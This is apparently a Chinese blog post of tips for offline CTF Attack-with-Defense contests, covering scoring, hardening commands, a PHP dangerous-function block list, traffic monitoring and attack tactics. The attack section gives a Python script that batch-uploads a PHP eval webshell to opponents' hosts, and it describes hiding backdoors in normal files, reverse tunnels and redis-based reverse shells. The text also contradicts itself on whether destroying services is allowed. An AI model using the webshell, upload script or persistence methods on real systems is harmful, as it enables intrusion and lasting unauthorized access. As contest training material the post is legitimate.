简介:《CTF Attack & Defense线下攻防赛比赛技巧》是一份面向CTF爱好者与参赛选手的实战向资料,聚焦线下攻防赛(Attack With Defense)的整体策略与关键操作,帮助缺乏赛场经验的选手快速形成攻防框架。内容以Defcon CTF等真实赛制为参照,详细拆解gamebox的题目分布与分值逻辑,如8080、10000端口对应不同难度的problem及相应奖励分数,让读者快速熟悉赛场规则与得分节奏。攻击阶段重点讲解逆向分析服务代码、挖掘漏洞、编写exploit获取权限或植入后门;防御阶段则强调在保持服务正常运行的前提下修补漏洞、检测并移除后门,同时结合流量分析定位对手攻击路径,以及Flag检查与计分机制,给出可复用的攻防决策思路。资源为1个PDF文件,压缩包大小8.32MB,内容集中且结构清晰,适合赛前查阅与临近比赛速览。目前已有501人学习,正在备战CTF线下赛或希望提升实战攻防对抗能力的网络学习者,可以获得一套可落地的攻防技巧参考。 这周末刚打完一场线下AWD,六个小时打下来,系统不知道被穿了多少次,回到酒店对着操作记录复盘,脑子里全是当时来不及处理的细节。现在趁着记忆还热乎,把这次比赛踩过的坑、用上的套路、以及平时训练里不太会注意的细节全部整理出来。这篇东西不是给完全零基础的人看CTF科普的,而是给那些已经入门Web安全、正准备第一次上线下攻防赛,或者打过一两场但总觉得手忙脚乱的选手。
AWD(Attack With Defense)是目前线下CTF最主流的赛制,不像解题赛那样一个人闷头做题目,线下赛是真刀真枪的对抗——每支队伍维护一套独立业务环境,既要防住别人打你,又要抽出精力去打别人。整场比赛比的不只是会不会挖洞,更是比谁的操作更稳、谁的反应更快、谁在高压下不容易犯错。这篇文章我会从赛制认知、开局操作、防守加固、攻击利用、踩坑实录五个维度,把一场AWD从头到尾拆开讲。
1. 先搞懂线下攻防赛到底在打什么
1.1 赛制与计分逻辑
AWD的基本玩法是:每个队伍分配一台或几台同样的靶机,靶机上跑着预置好的Web应用和数据库。比赛开始后,裁判会为每个队伍生成一份独立的flag文件,这个flag通常放在Web目录、tmp目录或者其他指定的读取路径下,每隔一定时间(常见的有1分钟、3分钟、5分钟)就会变化一次。选手需要在自己的靶机上拿到当前flag,提交到计分平台,才能拿到攻击分。
防守方面,裁判系统会启动一个check机制,模拟真实用户去访问靶机上的业务功能,比如登录、查询、上传文件、查看页面内容,然后检查返回的响应是否符合预期。如果业务被破坏、页面打不开、功能失效,就会被判服务异常,扣防守分。换句话说,不是你能防住攻击就行,你必须保证服务还能正常用,这是AWD和普通渗透最大的区别。
计分方式一般是基础分加上攻防加减分,每个队初始分数相同。攻击成功后加分,防守失败后扣分,分值通常不大,但因为flag更新频率高、对手数量多,积少成多以后排名差距会非常明显。有些比赛还设置了“击杀”机制——如果某个队伍连续多轮check失败,靶机可能被彻底关闭。
理解了这套逻辑就会明白:AWD更像是一个运维和安全的综合博弈,你既要写利用脚本去打人,也要像一个应急响应工程师一样保住自己的业务不挂。
1.2 三个阶段的节奏
一场标准的AWD通常持续4到8小时,整体节奏可以分成三个阶段。
开局前30分钟是“混乱期”。所有人都在疯狂扫描、改密码、备份源码、查找漏洞,这时候业务环境最脆弱,但也是防守最容易出问题的时候。很多人开局就去打别人,结果自己的后门被人扫出来直接拿走flag,一失分就是双倍损失。
中间2到4小时是“拉锯期”。该修的洞修得差不多了,该留的后门也留了,大家开始进入批量利用和互相清理的阶段。这时候比的是谁对靶机环境理解更深,谁的利用脚本更稳,谁的权限维持手段更高明。
最后1小时是“冲刺期”。排名靠前的队伍开始收缩防线,保证服务稳定,不再冒险打人。排名靠后的队伍则开始疯狂输出,寻找漏网之鱼。这个阶段很容易出现孤注一掷的批量操作,也因此经常有人把服务打挂,反而把自己拖下水。
理解节奏之后,接下来讲操作层面最关键的环节:开局要做什么。
2. 开局前30分钟的操作清单,千万别忙着写exp
2.1 第一步不是加固,而是改密码
很多人开局第一反应是去翻源码找漏洞,这个顺序其实是错的。AWD环境里,所有队伍的靶机初始状态几乎一模一样,系统里预置的SSH口令、MySQL密码、后台管理员账号、redis密码全都是已知的。你不改密码,别人用同样的默认口令直接就能登进来。
我个人习惯是拿到靶机后第一时间做三件事:改SSH登录密码、改MySQL和redis密码、修改Web后台管理员账号密码。注意密码要足够复杂,至少16位以上,包含大小写字母和特殊符号,不要图省事用简单的组合。改密码的时候要通过已有的SSH连接进行操作,避免把自己锁在外面。
# 修改当前用户密码 passwd # 如果靶机允许root登录,root密码也一并改掉 sudo passwd root # 修改MySQL密码(先进入mysql命令行) mysql -uroot -p ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewP@ssw0rd@2024!'; FLUSH PRIVILEGES; # 修改redis密码 redis-cli CONFIG SET requirepass "NewP@ssw0rd@2024!"2.2 源码备份与资产梳理
改完密码之后,立刻把Web目录完整打包备份下来。这个操作有两个作用:一是万一自己改坏了代码,可以用备份快速恢复;二是通过对比源码和初始状态,可以发现对手是否在你机器上留了东西。
# 打包Web目录,备份到非Web目录下 tar -czf /tmp/www_backup_$(date +%Y%m%d_%H%M%S).tar.gz /var/www/html/ # 查看当前监听的端口,确认服务部署情况 netstat -antlp # 查找最近被修改的文件,排查预置后门 find /var/www/ -type f -mmin -10 2>/dev/null find /var/www/ -name "*.php" -newer /tmp/www_backup_*.tar.gz 2>/dev/null第五行代码是重点。既然每个队伍的靶机是同样的,那么后门一定存在于初始环境中。恶意选手会在靶机预置的源码里藏一些隐蔽的webshell,这些webshell放在一般人不会注意的位置,文件名可能是随机MD5串、图片马或者看似正常的配置文件。开局阶段先备份再排查,能在你被别人打穿之前发现这些雷。
2.3 快速定位Web目录与敏感文件
不同比赛靶机Web目录的路径可能不同,常见的有/var/www/html、/var/www、/usr/share/nginx/html等。拿到权限后先用下面命令定位:
# 查找Web配置文件,确认站点根目录 find / -name "*.conf" -path "*nginx*" 2>/dev/null find / -name "*.conf" -path "*apache*" 2>/dev/null # 查找常见的敏感文件 find / -name "*.bak" -o -name "*.swp" -o -name "*.vim" 2>/dev/null # 查看数据库连接配置中的明文口令 grep -r "password" /var/www/html/config.php 2>/dev/null grep -r "db_password" /var/www/html/ 2>/dev/null整个开局过程最好控制在20到30分钟以内。不要过度追求把所有东西都补完,先把最容易被秒的点堵上,后面再慢慢完善。你的对手不会等你准备好了才发起攻击。
3. 防守加固:让对手的漏洞利用全部失效
3.1 四个“不让”原则
AWD防守的核心思路,我用四个“不让”来总结:不让别人读取flag,不让别人拿到执行权限,不让别人连上数据库,不让别人上传文件。所有加固操作围绕这四点展开,就永远不会跑偏。
先说防flag泄露。flag文件通常放在Web根目录之外,比如/flag、/tmp/flag或/root/flag,但很多Web应用会有任意文件读取漏洞,或者存在目录穿越,导致Web用户能读到这些文件。简单粗暴的做法是给flag文件设置权限,让Web服务的运行用户无法读取。
# 查看当前Web服务运行用户(nginx或www-data) ps aux | grep nginx # 假设是www-data chmod 700 /flag chown root:root /flag不过要注意,有些比赛的flag文件读取脚本本身就以www-data身份运行,你把权限改死了,自己的flag读取脚本也读不了,反而影响提交。这种情况就要用更精细的办法,比如给容器加一层白名单,只允许特定脚本读取flag路径。
3.2 代码层面的快速修复
AWD的Web应用基本都是开源的,赛前主办方会花几天时间在里面塞几个有意的漏洞,比如SQL注入、文件上传、命令执行、反序列化等。你需要快速定位这些漏洞点,然后在不影响业务功能的前提下把洞补上。
常见的快速修复手段有三种。第一种是禁用危险函数,直接在PHP配置里把可能导致命令执行的函数屏蔽掉,比如system、exec、passthru、shell_exec、proc_open等。这个操作对Web层防御非常有效,因为很多命令执行漏洞利用的就是这些函数。
# 修改php.ini,禁用危险函数 vim /etc/php/7.4/cli/php.ini disable_functions = system,exec,passthru,shell_exec,proc_open,pcntl_exec,popen第二种是修代码层的过滤逻辑。比如文件上传功能,很多开发者的代码只检查了MIME类型或文件头,你可以把校验改得更严格,增加对扩展名的白名单校验。这里提供一个示例:只允许指定文件类型上传。
<?php $allowed = ['jpg', 'png', 'gif']; $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if (!in_array(strtolower($ext), $allowed)) { die('bad file type'); } // 后续处理逻辑... ?>第三种是给入口文件加访问控制。很多后台功能没有做严格的鉴权,或者存在越权访问漏洞。你可以通过修改.htaccess或Nginx配置,对后台目录增加IP白名单限制,只允许自己的IP访问。
3.3 应急WAF与流量监控
手动补漏洞永远赶不上攻击者的脚步,赛后20分钟就可能有人开始批量打脚本了,这时候必须借助WAF和流量分析工具来兜底。常见的免费WAF工具比如安全狗、云锁、D盾,比赛环境里都可以临时装一下,虽然规则不一定完全适配靶机应用,但至少能拦住一些常规的攻击流量。
装WAF的前提是不能影响业务稳定性。有些WAF默认规则太严格,会把正常请求也拦截掉,导致自己的check失败,得不偿失。建议装完以后立刻用一个脚本模拟正常用户访问几次,确认功能没被误杀。
流量监控方面,tcpdump是最实用的工具。开局阶段把靶机的网络流量全部抓下来,观察是否有对外连接的可疑流量,能帮你发现别人在你机器上留的后门和反弹shell。下面这个命令可以实时监听80端口的所有请求和响应。
tcpdump -i eth0 port 80 -w /tmp/award_$(date +%s).pcap & # 过一段时间观察是否有异常请求来源 tail -n 20 /tmp/award_*.pcap | strings | grep -i "cmd\|eval\|base64"实战里我见过不少团队吃了没开流量监控的亏:后门被人上传了十二个小时,flag被刷了无数轮,自己完全没察觉,最后复盘时看流量才发现对方在什么时间点做了什么操作。流量监控不是为了马上发现攻击,而是为了事后快速定位失陷原因,这个价值同样巨大。
4. 攻击思路:把对手一次打痛,然后持续拿分
4.1 利用“同源漏洞”批量收割
AWD攻击有一个天然优势:所有靶机环境一样。只要你在自己的靶机上分析出一个可用漏洞,那么这个漏洞很可能在大多数对手机器上也存在。所以攻击流程一定是:先审计自己的代码,找到漏洞,写利用脚本,然后批量扫对手。
分析源码时重点关注几个方向:上传点是否过滤严格、数据库查询是否拼接SQL、命令执行参数是否可控、反序列化入口是否有魔术方法可利用、是否存在已知的CMS漏洞插件。看到可疑函数就要联想到可能的利用方式。比如看到passthru函数,就想到命令执行;看到include参数,就想到文件包含。
找到漏洞后写一批通用利用脚本。以文件上传拿shell为例,思路是先探测对手的Web目录权限,通过上传一个测试文件确认真实路径,再批量上传webshell并验证连接。
import requests targets = [ "http://192.168.1.10:8080", "http://192.168.1.11:8080", # 这里填整个网段或从扫描结果中提取的存活IP ] webshell_code = '''<?php @eval($_POST['x']);?>''' for url in targets: try: # 第一步:上传木马文件 upload_url = url.rstrip('/') + '/upload.php' files = {'file': ('shell.php', webshell_code, 'image/png')} r = requests.post(upload_url, files=files, timeout=5) # 第二步:验证shell是否上传成功 shell_url = url.rstrip('/') + '/uploads/shell.php' verify = requests.post(shell_url, data={'x': 'phpinfo();'}, timeout=5) if verify.status_code == 200 and "phpinfo" in verify.text: print(f"[+] 目标 {url} 已拿权限") # 拿到权限后读取flag并提交 # 此处的提交逻辑根据比赛平台接口调整 else: print(f"[-] 目标 {url} 上传失败") except requests.exceptions.RequestException: print(f"[!] 目标 {url} 连接失败") continue批量脚本的健壮性很重要。现场比赛时网络环境不稳定,响应慢、超时、服务挂掉都很常见,脚本要能容忍这些异常,不能因为一个目标卡死就导致整个扫描停滞。用多线程或异步请求能大幅提高效率,但要注意别把自己的带宽打满。
4.2 权限维持与后门隐藏
传统做法是上传一个不死马,通过无限循环不断重置内容,防止被杀。但现在很多比赛裁判系统会专门扫描这类特征明显的文件,写不死马反而容易被发现并扣分。我个人更推荐用业务功能做权限维持,比如在正常的业务接口中预留一个触发点,把后门藏在正常的透传参数里。
还有一种比较隐蔽的方式是修改正常文件,在现有业务逻辑中加入一段恶意判断。比如在index.php的头部include一个看似正常的配置库文件,实际上内容是后门逻辑。这种方式不容易被特征扫描发现,因为文件本身是业务系统自带的。
权限维持的另一层是保持对web shell的控制。即使别人清掉了你的马,只要你保留了对目标服务器的SSH权限或者留了反向隧道,就能随时重新写入shell。不过反向连接在比赛环境里很容易被流量监控发现,要谨慎使用。
4.3 从Web沦陷到控制服务器
如果比赛允许,拿到shell以后应该尽快提权。当然大部分AWD靶机的Web服务运行用户本身权限就不高,提权需要内核漏洞或者错误配置。常见的快速检查项有SUID文件、sudo配置、环境变量劫持、可写目录下的路径注入等。
提权成功之后就能控制整个服务器,这时候的价值就不仅仅是偷flag了,你还可以把对方的服务停掉,把对方的数据库拖空,或者把对方的Web代码整个改掉,让对方陷入被动。但我必须提醒一句,恶意破坏服务在所有比赛里都是允许的,因为check机制就是用来检测服务是否正常的,把别人打挂也是得分手段之一。但有些比赛有“不能造成不可逆损害”的规则,比如不能格式化硬盘、不能删除源码工程文件。动手之前一定要看清楚规则。
5. 实战踩坑记录:比赛里那些让你怀疑人生的瞬间
5.1 常见问题速查表
下面这个表格是我多年打AWD总结出来的高频问题,按现场处理的难易程度排了序。
| 现象 | 可能原因 | 处理方式 |
|---|---|---|
| flag提交成功了但没加分 | 提交的flag已过期 | 确认flag更新周期,在更新后快速读取提交 |
| 自己机器无法访问Web页面 | 加固时改了服务端配置 | 检查nginx/apache是否正常,回滚配置 |
| 上传shell访问404 | 上传目录不在Web根目录 | 找到真实upload路径,调整利用脚本 |
| 自己的后门马被别人删了 | 对方也在做权限维持 | 使用业务型后门,减少特征 |
| 服务正常但一直被扣分 | 数据库被对手篡改 | 检查数据库数据,设置触发器保护关键表 |
| 扫描器扫出大量漏洞但无法利用 | 代码审计不到位 | 结合源码审计,比对官方修复补丁 |
5.2 被忽略的隐形扣分点
很多队伍比赛时只盯着flag提交和业务存活,忽略了一些隐蔽的扣分点。比如数据库被对方通过SQL注入删了表但页面还能显示静态缓存内容,这种时候check系统可能发现不了异常,但其实业务已经处于半瘫痪状态,一旦缓存命中失败就是大量失分。
还有一个贼隐蔽的点是配置文件的篡改。有个经典玩法:修改对方的redis持久化配置,让redis进程在某个时间点自动执行计划任务,从而获得稳定的反向shell。这种攻击不直接触碰Web层,利用的是基础设施层面的配置错误,很多人赛前完全不会检查。
我自己的习惯是每隔半小时做一次快照对比,把Web目录和关键配置文件的哈希值记录到一个文件里,每轮比赛轮次中定期比对。不要觉得这很麻烦,现场你一慌乱,没有对比参考就会像无头苍蝇一样到处乱翻。
5.3 如果再让我打一场,我会改变什么
写了这么多,最后想站在个人经验的角度说几句掏心窝的话。打AWD最忌讳的就是“贪”,贪多——所有漏洞都想利用,所有对手都想打;贪快——脚本没测试完就批量丢出去,结果把自己机器卡死;贪功——拿到权限后光顾着留后门,忘了先提交几轮flag。这些坑我一个不落地踩过一遍之后,才总结出一个经验:AWD的本质不是一个“攻击游戏”,而是一个“稳定输出游戏”。你不需要每轮都打穿所有对手,你只需要保证自己不死,然后从能打的对手身上稳定拿分,名次就不会差。
还有一个小技巧,适合所有人:准备一个现成的加固脚本和利用脚本模板库,赛前把所有可能用到的payload、webshell、命令整理好,放到一个本地文件夹里。比赛时你只需要根据现场情况微调路径和参数,就能省下大量敲键盘的时间。我见过太多选手到了现场才开始找工具、找脚本,等到他准备完毕,别人已经拿他刷了七八轮分了。
如果你看完这篇文章准备去参加下一场线下赛,那我建议你从今天开始做三件事:熟练使用Linux常用命令、自己搭一个类似的Web靶机复现加固流程、把常用的Python批量脚本吃透。剩下的,就交给赛场上的临场发挥吧。
本文还有配套的精品资源,点击获取